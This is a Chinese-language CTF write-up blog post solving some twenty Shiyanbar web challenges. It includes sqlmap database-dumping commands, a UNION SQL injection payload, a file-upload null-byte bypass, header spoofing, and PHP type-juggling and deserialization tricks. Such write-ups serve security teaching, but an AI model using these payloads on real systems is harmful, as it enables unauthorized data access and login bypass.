实验吧CTF题库-WEB题(部分)

  • 看起来有点难

实验吧CTF题库-WEB题(部分)_第1张图片

提交admin

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login

 用sqlmap检测是否有注入

┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login"

 存在注入

实验吧CTF题库-WEB题(部分)_第2张图片

对数据进行读取

┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test"
┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test"

 读出账号密码

实验吧CTF题库-WEB题(部分)_第3张图片

登陆,得到flag

实验吧CTF题库-WEB题(部分)_第4张图片

  • 猫抓老鼠

实验吧CTF题库-WEB题(部分)_第5张图片

源代码没什么情况,也没有注入,抓包查看

实验吧CTF题库-WEB题(部分)_第6张图片

 go一下

实验吧CTF题库-WEB题(部分)_第7张图片

返回包中有一个Content-Row: MTUxMjU4MzgwNA==

把MTUxMjU4MzgwNA==替换掉pass_key的1,go

实验吧CTF题库-WEB题(部分)_第8张图片

得到flag

  • 头有点大

实验吧CTF题库-WEB题(部分)_第9张图片

根据提示,要用.net framework 9.9,地址来自英国,浏览器是IE

抓包改头,发包

实验吧CTF题库-WEB题(部分)_第10张图片

得到flag

也通过可以设置Modify Headers

实验吧CTF题库-WEB题(部分)_第11张图片

访问网页得到flag

实验吧CTF题库-WEB题(部分)_第12张图片

 

  • 貌似有点难

实验吧CTF题库-WEB题(部分)_第13张图片

我访问的ip不在列表里,查看一下源码


 当ip为1.1.1.1时能得到flag

 使用火狐插件X-Forwarded-For

把ip地址改为1.1.1.1

实验吧CTF题库-WEB题(部分)_第14张图片

刷新网页,得到flag

实验吧CTF题库-WEB题(部分)_第15张图片

 

  • 这个看起来有点简单!

实验吧CTF题库-WEB题(部分)_第16张图片

通过简单的判断,存在注入漏洞

直接上sqlmap

┌─[root@sch01ar]─[~]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
┌─[root@sch01ar]─[~]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --tables -D "my_db" 
┌─[root@sch01ar]─[~]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --columns -T "thiskey" -D "my_db"
┌─[root@sch01ar]─[~]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump -C "k0y" -T "thiskey" -D "my_db"

 得到flag

实验吧CTF题库-WEB题(部分)_第17张图片

  • PHP大法

访问地址,会提示访问index.php.txt

实验吧CTF题库-WEB题(部分)_第18张图片

访问index.php.txt,得到源码

not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "

Access granted!

"; echo "

flag: *****************}

"; } ?>

Can you authenticate to this website?

 第一个if语句,对传入的参数id和字符串"hackerDJ"进行判断,如果传入的参数id的值为"hackerDJ",则输出"not allowed"

参数id的值等于url解码后的参数id的值

第二个if语句,判断传入的参数id是否为hackerDJ,如果是的话就输出flag

因为对hackerDJ的一次url编码会被浏览器转为hackerDJ,所以要进行两次的url编码

实验吧CTF题库-WEB题(部分)_第19张图片

得到flag

  • what a fuck!这是什么鬼东西?

实验吧CTF题库-WEB题(部分)_第20张图片

这是JsFuck加密的,直接解码就好了

直接用工具

实验吧CTF题库-WEB题(部分)_第21张图片

  • 程序逻辑问题

实验吧CTF题库-WEB题(部分)_第22张图片

右键查看源代码,发现一个txt

实验吧CTF题库-WEB题(部分)_第23张图片

点击,得到index.php的源代码



welcome to simplexue


connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]); //对传入的pass变量进行md5加密,并赋给变量pass

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql); //将查询语句的结果赋值给变量query
if (!$query) { //判断变量query是否为空
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC); //将变量query的值以MYSQL_ASSOC格式赋给变量row
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { //将变量row中的pw字段和pass的值进行忽略大小写的比较
	echo "

Logged in! Key:**************

"; } else { echo("

Log in failure!

"); } } ?>

 代码中没有判断变量user,只要变量row的pw字段和变量pass的值一样就能得到flag

构造payload:user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin

POST,得到flag

实验吧CTF题库-WEB题(部分)_第24张图片

  •  NSCTF web200

实验吧CTF题库-WEB题(部分)_第25张图片

解密这段密文,写个php脚本


 运行脚本得到flag

实验吧CTF题库-WEB题(部分)_第26张图片

  • 上传绕过

实验吧CTF题库-WEB题(部分)_第27张图片

选择一个jpg文件上传

实验吧CTF题库-WEB题(部分)_第28张图片

上传的格式要是php的才行,但是不能直接上传php

用burp抓包改包

在上传路径后加一个以php格式结尾的,再截断

实验吧CTF题库-WEB题(部分)_第29张图片

发送,得到flag

实验吧CTF题库-WEB题(部分)_第30张图片

  • FALSE

题目给的提示

实验吧CTF题库-WEB题(部分)_第31张图片

访问链接

实验吧CTF题库-WEB题(部分)_第32张图片

点击查看源代码

Your password can not be your name!

'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '

Invalid password.

'; } else{ echo '

Login first!

'; ?>

 传入的name和password不能一样,但是name和password的sha1加密的值得相等

想到的是传数组

http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2

 得到flag

实验吧CTF题库-WEB题(部分)_第33张图片

  • Guess Next Session

实验吧CTF题库-WEB题(部分)_第34张图片

猜下一个数,前面这几个数都是随机的

查看源代码

Wrong guess.

'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>

 当传入的password和$_SESSION['password']相等时才能得到flag

burp抓包

实验吧CTF题库-WEB题(部分)_第35张图片

需要改两处地方

实验吧CTF题库-WEB题(部分)_第36张图片

这两处置空,发包,得到flag

实验吧CTF题库-WEB题(部分)_第37张图片

  • Once More

题目给了提示

实验吧CTF题库-WEB题(部分)_第38张图片

题目提示,该题是php代码审计题,而且还跟ereg()函数有关,ereg()函数可以%00截断

访问链接

实验吧CTF题库-WEB题(部分)_第39张图片

查看源代码

You password must be alphanumeric

'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //password的长度要小于8,但是password的大小要大于9999999,可以使用科学计数法 { if (strpos ($_GET['password'], '*-*') !== FALSE) //password里要有*-*才能得到flag { die('Flag: ' . $flag); } else { echo('

*-* have not been found

'); } } else { echo '

Invalid password

'; } } ?>

 password是一个数但是里面要有*_*,则要用到%00截断

最终构造:

http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*

得到flag

实验吧CTF题库-WEB题(部分)_第40张图片

  • 忘记密码了

实验吧CTF题库-WEB题(部分)_第41张图片

随便输入一个邮箱,点击提交

弹出了一个对话框

实验吧CTF题库-WEB题(部分)_第42张图片

http://ctf5.shiyanbar.com/10/upload/[email protected]&check=???????

访问该链接,会出现该界面,但是一晃就跳转到原本的找回密码界面

实验吧CTF题库-WEB题(部分)_第43张图片

那就抓包看看

实验吧CTF题库-WEB题(部分)_第44张图片

实验吧CTF题库-WEB题(部分)_第45张图片

代码是用vim编辑器写的,vim编辑器

实验吧CTF题库-WEB题(部分)_第46张图片

实验吧CTF题库-WEB题(部分)_第47张图片

还有一个submit.php,提交发送的地方

vim编辑器有一个特点,会生成一个临时的备份文件

submit.php生成的就是.submit.php.swp,因为其为隐藏文件,所以前面会有一个点

访问地址:http://ctf5.shiyanbar.com/10/upload/.submit.php.swp

看到了一段代码

........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail'); //变量$token的长度要为10
	if($token!='0') die('fail'); //变量$token的值要为0
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失败了呀";
	}
}
	

$token的长度要为10,大小要为0,可以设置为0000000000

邮箱还要是管理员的邮箱

在burp返回的数据包中可以看到管理员邮箱为:[email protected]

接下来构造访问链接:http://ctf5.shiyanbar.com/10/upload/[email protected]&token=0000000000

访问,得到flag

  • 天网管理系统

实验吧CTF题库-WEB题(部分)_第48张图片

先右键查看网页源代码

实验吧CTF题库-WEB题(部分)_第49张图片

传入的username的md5值要为0

PHP在处理哈希值时,会把每一个以0E开头的哈希值都解释为0

如果两个不同的字符串的md5值都是以0E开头的,那么PHP就会认为他们是相同,都是0

常见的有QNKCDZO

在用户名框处提交QNKCDZO

返回了一个地址

实验吧CTF题库-WEB题(部分)_第50张图片

访问链接:http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer

题目提示,成也布尔,败也布尔

$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'){
  print_r($flag);
}

unserialize()函数将数据反序列化,serialize()函数将数据序列化

 true,"pass" => true);
	$b = serialize($a);
	echo $b;
	echo "
"; $c = unserialize($b); print_r($c); ?>

 运行结果

把a:2:{s:4:"user";b:1;s:4:"pass";b:1;}作为密码,用户名为admin,登陆,得到flag

实验吧CTF题库-WEB题(部分)_第51张图片

  • Forms

实验吧CTF题库-WEB题(部分)_第52张图片

提交一个值

实验吧CTF题库-WEB题(部分)_第53张图片

报错

右键查看源码

实验吧CTF题库-WEB题(部分)_第54张图片

表单的默认值为0

不填表单直接提交,burp抓包

实验吧CTF题库-WEB题(部分)_第55张图片

把0改成其它数字,发包

实验吧CTF题库-WEB题(部分)_第56张图片

出现了php源代码

$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found."; 
}

 当提交的值为-19827747736161128312837161661727773716166727272616149001823847的时候就会返回flag

提交-19827747736161128312837161661727773716166727272616149001823847,得到flag

实验吧CTF题库-WEB题(部分)_第57张图片

  • 拐弯抹角

一上来就来了一大段的php代码

实验吧CTF题库-WEB题(部分)_第58张图片

完整的php代码

 ';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'
'; $flag = "CTF{???}"; $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); $stop = 0; //这道题目本身也有教学的目的 //第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的 //所以,第一个要求就是不得出现 ./ if($flag && strpos($URL, './') !== FALSE){ $flag = ""; $stop = 1; //Pass } //第二,我们可以构造 \ 来代替被过滤的 / //所以,第二个要求就是不得出现 ../ if($flag && strpos($URL, '\\') !== FALSE){ $flag = ""; $stop = 2; //Pass } //第三,有的系统大小写通用,例如 indirectioN/ //你也可以用?和#等等的字符绕过,这需要统一解决 //所以,第三个要求对可以用的字符做了限制,a-z / 和 . $matches = array(); preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches); if($flag && empty($matches) || $matches[1] != $URL){ $flag = ""; $stop = 3; //Pass } //第四,多个 / 也是可以的 //所以,第四个要求是不得出现 // if($flag && strpos($URL, '//') !== FALSE){ $flag = ""; $stop = 4; //Pass } //第五,显然加上index.php或者减去index.php都是可以的 //所以我们下一个要求就是必须包含/index.php,并且以此结尾 if($flag && substr($URL, -10) !== '/index.php'){ $flag = ""; $stop = 5; //Not Pass } //第六,我们知道在index.php后面加.也是可以的 //所以我们禁止p后面出现.这个符号 if($flag && strpos($URL, 'p.') !== FALSE){ $flag = ""; $stop = 6; //Not Pass } //第七,现在是最关键的时刻 //你的$URL必须与/indirection/index.php有所不同 if($flag && $URL == '/indirection/index.php'){ $flag = ""; $stop = 7; //Not Pass } if(!$stop) $stop = 8; echo 'Flag: '.$flag; echo '
'; for($i = 1; $i < $stop; $i++) $code = str_replace('//Pass ';

 这里有7个条件判断url是否符合条件

1.不能有./  2.不能有../  3.不能有大写字母和?和#符号  4不能有//  5.必须以index.php结尾  6.index.php后面不能出现"."这个符号  7.url要和/indirection/index.php不一样

首先访问,http://ctf5.shiyanbar.com/indirection/index.php

实验吧CTF题库-WEB题(部分)_第59张图片

后面多了个/

接着访问,http://ctf5.shiyanbar.com/indirection/index.php/index.php,得到flag

实验吧CTF题库-WEB题(部分)_第60张图片

  • 后台登录

实验吧CTF题库-WEB题(部分)_第61张图片

右键查看源代码

实验吧CTF题库-WEB题(部分)_第62张图片

有php源码


直接提交.php前的字符串ffifdyop,得到flag

实验吧CTF题库-WEB题(部分)_第63张图片

 

你可能感兴趣的:(实验吧CTF题库-WEB题(部分))